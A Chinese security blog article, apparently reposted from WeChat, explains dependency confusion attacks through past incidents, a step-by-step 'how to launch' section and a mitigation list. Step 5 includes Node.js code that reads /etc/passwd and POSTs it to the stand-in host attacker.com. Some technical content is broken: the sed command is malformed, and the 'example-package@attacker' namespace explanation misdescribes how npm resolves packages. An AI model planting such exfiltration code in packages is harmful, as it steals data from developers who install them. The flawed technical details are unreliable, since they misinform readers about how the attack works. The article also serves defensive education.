简介
在不断演变的网络安全领域中,依赖混淆攻击(Dependency Confusion Attack)是一种较为隐蔽的攻击方式。这类攻击利用了开发者对第三方库和软件包的信任,可能导致严重的安全漏洞。
依赖混淆攻击属于 OWASP 十大安全风险中的 “A06:2021-易受攻击和过时的组件” 类别。该类别涉及使用已知存在漏洞的组件所带来的风险,包括依赖混淆攻击,即攻击者利用依赖项的管理和解析方式进行利用。
什么是依赖混淆攻击?
依赖混淆攻击发生在攻击者上传了一个与合法软件包同名但位于不同命名空间下的恶意软件包时。如果开发者不小心安装了这个恶意软件包,就可能导致系统被攻破、数据泄露及其他安全问题。
工作原理
-
1. 软件包上传:攻击者将一个恶意软件包上传到公共软件包仓库(如 npm、PyPI 或 RubyGems),该软件包与合法软件包同名,但位于不同的命名空间下。 -
2. 依赖解析:开发者的构建系统根据软件包名称和命名空间解析依赖项,可能会选择恶意软件包。 -
3. 安装:恶意软件包被安装并执行,从而可能导致安全漏洞的出现。
示例
一个依赖混淆攻击的案例发生在 PyPI 上,即 2022 年 12 月底对 PyTorch 的攻击。攻击者在 PyPI 上上传了一个名为 torchtriton
的恶意依赖项,与官方 PyTorch 库中的同名依赖相同。由于在 Python 生态系统中,PyPI 通常在获取依赖时具有优先级,因此在安装过程中提取的是恶意软件包,而不是 PyTorch 的合法软件包。
另一个案例来自 2022 年春季,某些版本的热门 ‘node-ipc’ 软件包 中包含恶意代码,该代码会针对位于俄罗斯和白俄罗斯的用户覆盖或删除系统中的任意文件。
公共仓库与私有仓库
公共仓库是开放的,任何人都可以访问其中的软件包,包括开发者、组织甚至攻击者。公共仓库的典型例子包括 NPM 和 PyPI。而私有仓库则仅允许授权用户或组织访问。组织通常使用私有仓库来管理定制化的软件包,其访问通常受身份验证和授权机制控制。
由于公共仓库具有开放性,因此更容易遭受供应链攻击。攻击者可以将恶意软件包注入这些仓库,开发者在不知情的情况下可能将其集成到项目中,进而导致数据泄露、未授权访问或其他类型的攻击。
虽然私有仓库对攻击者的可访问性较低,但并不意味着它们完全免疫于供应链攻击。攻击者可能通过各种方式访问私有软件包,例如利用仓库中的漏洞或入侵授权用户的凭据。
以 NPM 软件包为例,攻击者可以创建一个与合法软件包同名的恶意软件包并上传至 npmjs.com(官方 NPM 软件包仓库)。如果开发者在其 package.json
文件中指定了对该合法软件包的依赖并运行 npm install
,包管理器可能会安装攻击者的软件包而非合法软件包,从而导致依赖混淆攻击成功。恶意软件包随后可能窃取敏感信息或在开发者机器上执行任意代码。
如何发起攻击
我们来分解依赖混淆攻击的各个步骤,并在适用的地方提供代码示例。
第 1 步:识别目标
要识别潜在目标,攻击者需要分析流行项目的依赖列表。这可以通过在 GitHub 等平台搜索热门项目,并检查其 package.json
(npm)、requirements.txt
(PyPI)或 Gemfile
(RubyGems)文件来完成。
以下是使用 Python 解析 requirements.txt
文件的示例:
import re
def parse_requirements(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
dependencies = []
for line in lines:
match = re.match(r'^(?P<package>[^#]+)', line)
if match:
dependencies.append(match.group('package'))
return dependencies
# Example usage
file_path = 'path/to/requirements.txt'
dependencies = parse_requirements(file_path)
print(dependencies)
第 2 步:创建恶意软件包
攻击者创建与合法软件包同名但位于不同命名空间下的恶意软件包。例如,如果合法软件包名为 example-package
,攻击者可能会创建 example-package@attacker
。
以下是为 npm 创建恶意软件包的示例:
# Create a new directory for the malicious package
mkdir example-package-attacker
cd example-package-attacker
# Initialize a new npm package
npm init -y
# Create a malicious script
echo 'console.log("Malicious code executed!");' > index.js
# Update package.json to include the malicious script
sed -i 's/"main": "index.js"/"main": "index.js",/"' package.json
第 3 步:上传软件包
攻击者将这些恶意软件包上传到公共软件包仓库,如 npm、PyPI 或 RubyGems。这一步至关重要,因为它使得恶意软件包可以被下载和安装。
以下是将软件包上传到 npm 的示例:
# Log in to npm (you'll need an npm account)
npm login
# Publish the malicious package
npm publish
第 4 步:利用依赖解析机制
当开发者运行依赖安装命令(例如 npm install
、pip install
、gem install
)时,包管理器会根据软件包名称和命名空间解析依赖项。如果开发者未明确指定命名空间,包管理器可能会选择名称匹配的恶意软件包。
以下是开发者可能在不知情的情况下安装恶意软件包的示例:
# Developer's package.json
{
"name": "example-project",
"version": "1.0.0",
"dependencies": {
"example-package": "^1.0.0"
}
}
# Developer runs npm install
npm install
第 5 步:执行恶意代码
一旦恶意软件包被安装,它就可以执行任意代码、窃取数据或进行其他恶意操作。攻击者可以通过在软件包中包含恶意脚本或函数来实现这一点。
以下是恶意代码实际运行的示例:
// index.js in the malicious package
console.log("Malicious code executed!");
// Example of exfiltrating data
const fs = require('fs');
const http = require('http');
const data = fs.readFileSync('/etc/passwd', 'utf8');
const options = {
hostname: 'attacker.com',
port: 80,
path: '/data',
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
};
const req = http.request(options, (res) => {
res.setEncoding('utf8');
res.on('data', (chunk) => {
console.log('Response: ' + chunk);
});
});
req.on('error', (e) => {
console.error(`Problem with request: ${e.message}`);
});
req.write(JSON.stringify({ data: data }));
req.end();
通过执行上述步骤,你就可以成功发动一次依赖混淆攻击。开发者和组织必须实施强有力的安全措施以防止此类攻击,包括明确指定命名空间、使用私有仓库以及定期审计依赖项。
注意:上传任何软件包前,你需要在 NPM 或 PIP 包管理器中注册账号。
依赖混淆攻击的缓解措施
为了在 NPM 和 PIP 中降低依赖混淆攻击的风险,请参考以下最佳实践。需要注意的是,单一的防护策略无法百分百防止攻击,组织应综合实施多种策略以降低被攻击的风险。
1. 软件包名称验证:
— 确保项目中使用的所有软件包名称都是已知且可信的。
— 在将软件包添加到依赖项前,验证其来源和维护者。
— 使用 npm audit
或 pip check
等工具检测依赖项中的漏洞或异常。
2. 软件包签名:
— 使用软件包签名验证其真实性。
— 例如,npm 提供包签名功能,维护者可对包进行签名,以加密方式保证包未被篡改。
3. 使用私有软件包仓库:
— 考虑使用私有包仓库来托管内部依赖项。
— 这有助于降低攻击者上传与合法依赖同名恶意软件包的风险。
4. 自动安全扫描:
— 实施自动安全扫描,定期检测依赖项中的漏洞和其他安全问题。
— 这样可以在恶意软件包造成危害前将其发现。
5. 代码审查:
— 定期进行代码审查,确保系统中执行的代码是已知且可信的。
— 有助于及时发现通过依赖混淆引入的恶意代码。
6. 监控软件包下载:
— 监控你发布的软件包的下载行为以发现异常活动。
— 这有助于尽早识别潜在的依赖混淆攻击并及时采取措施。
7. 定期更新依赖项:
— 定期更新依赖项,以确保及时修复存在的安全漏洞。
— 可降低攻击者利用已知漏洞的风险。
8. 检测易受攻击的软件包:
— 使用如 Orca 这类平台,当某个软件包依赖不存在于公共仓库的软件库时会发出警报。
— 这有助于识别容易被上传同名恶意库而被攻击的软件包。
通过实施这些最佳实践,你可以显著降低依赖混淆攻击的风险,并提升软件项目的整体安全性。
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):依赖混淆攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论